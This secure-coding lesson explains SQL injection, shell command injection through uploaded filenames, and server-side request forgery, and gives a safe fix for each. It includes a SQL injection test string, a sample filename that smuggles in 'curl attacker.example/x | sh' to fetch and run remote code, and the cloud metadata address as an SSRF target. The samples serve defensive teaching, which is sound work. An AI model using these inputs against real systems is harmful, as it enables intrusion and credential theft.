Injection in three places: the query, the shell, the URL

One idea, three interpreters

Injection is a single idea: text the user typed reaches something that interprets text as instructions, and the user’s text becomes instructions. The first security lesson showed it for SQL. An app has at least two other interpreters with the same hole, and generated code reaches all three, because building a command from strings is the shortest working answer.

The query

The safe form passes values separately from the statement:

await db.execute(sql`SELECT * FROM users WHERE email = ${email}`);   // Drizzle: parameterised
await prisma.$queryRaw`SELECT * FROM users WHERE email = ${email}`;   // Prisma: also parameterised

Those template tags look like string building and are not: the library sends the query with placeholders and the values apart, and the database never parses the value as SQL. The unsafe forms look almost identical:

await db.execute(`SELECT * FROM users WHERE email = '${email}'`);     // a plain string: injectable
await prisma.$queryRawUnsafe("SELECT ... " + email);                 // the name says so

The two-minute test: on any login or search form, enter ' OR 1=1-- as the value. A safe query returns nothing or an error about a malformed email. An unsafe one logs you in as the first user, or returns every row. The ORM’s normal query builder, .where(eq(users.email, email)), is always safe; the risk lives near raw, execute, $queryRaw, or a string containing SELECT that has a variable inside it.

The shell

An app that converts a video, resizes an image with a command-line tool, or runs a script does so by asking the operating system to run a command. The generated version builds that command as one string, with the uploaded file’s name pasted into it, and hands the string to a shell:

ffmpeg -i <the filename from the upload form> out.mp4

Now a file named video.mp4; curl attacker.example/x | sh ends the ffmpeg command and starts another. The shell is an interpreter, and the filename was code. It works in every test, because every test uploads a file called video.mp4.

The fix is the same shape as for SQL: pass arguments as a list, so that no shell ever parses them:

execFile("ffmpeg", ["-i", filename, "out.mp4"]);   // arguments, not a command string

With a list, the filename is one argument however many semicolons it contains. And never use a user’s filename for anything but display; generate your own name for the file on disk, as the uploads lesson said. Search the code for the exec function, for spawn with shell: true, and for any backtick string that begins with the name of a command-line tool. Each one is a place where a filename, a search term or a URL becomes a command.

The URL

The third interpreter is your own server’s HTTP client. Any feature where the server fetches an address the user supplied (link previews, “import from URL”, webhooks the user configures, an image proxy) lets the user make your server send a request from inside your network.

Inside the network are things the internet cannot reach: the cloud provider’s metadata service at 169.254.169.254, which on many platforms returns the credentials of the machine; a database admin panel bound to localhost; internal services with no authentication because they were never meant to be reachable. The user cannot get to them. Your server can, and it will fetch whatever it is told.

This is server-side request forgery, and the defence has to be positive, not negative. Resolve the hostname before fetching and refuse anything that is not a public address: private ranges, loopback, link-local, the metadata address. Refuse redirects to such addresses, since a public URL can redirect to an internal one. Better still, for a link preview, fetch through a separate service or a sandboxed function that has no network access to anything internal, so that a mistake in the filter costs nothing.

The one that goes the other way

Not an injection into your interpreter, but the same failure in reverse: rendering data from the database or a model as HTML in the page. That is cross-site scripting, and it has its own lesson next, because the interpreter is the user’s browser and the fix lives in a different place.

How to find all three

Search for the seams. sql or SELECT with a ${ inside a plain string. The shell-running functions. fetch( where the argument is not a literal. Each hit is a place where the question is: can the value here have come, in any way, from a user? If it can, it is data, and data goes in as an argument, never as part of the command.

Ask the agent the same question per file: “list every place where a value that could come from a request is used to build a SQL string, a shell command, or a URL that the server fetches”. Specific, per file, with a list as the answer. It finds most of them, and the ones it misses are found by the grep.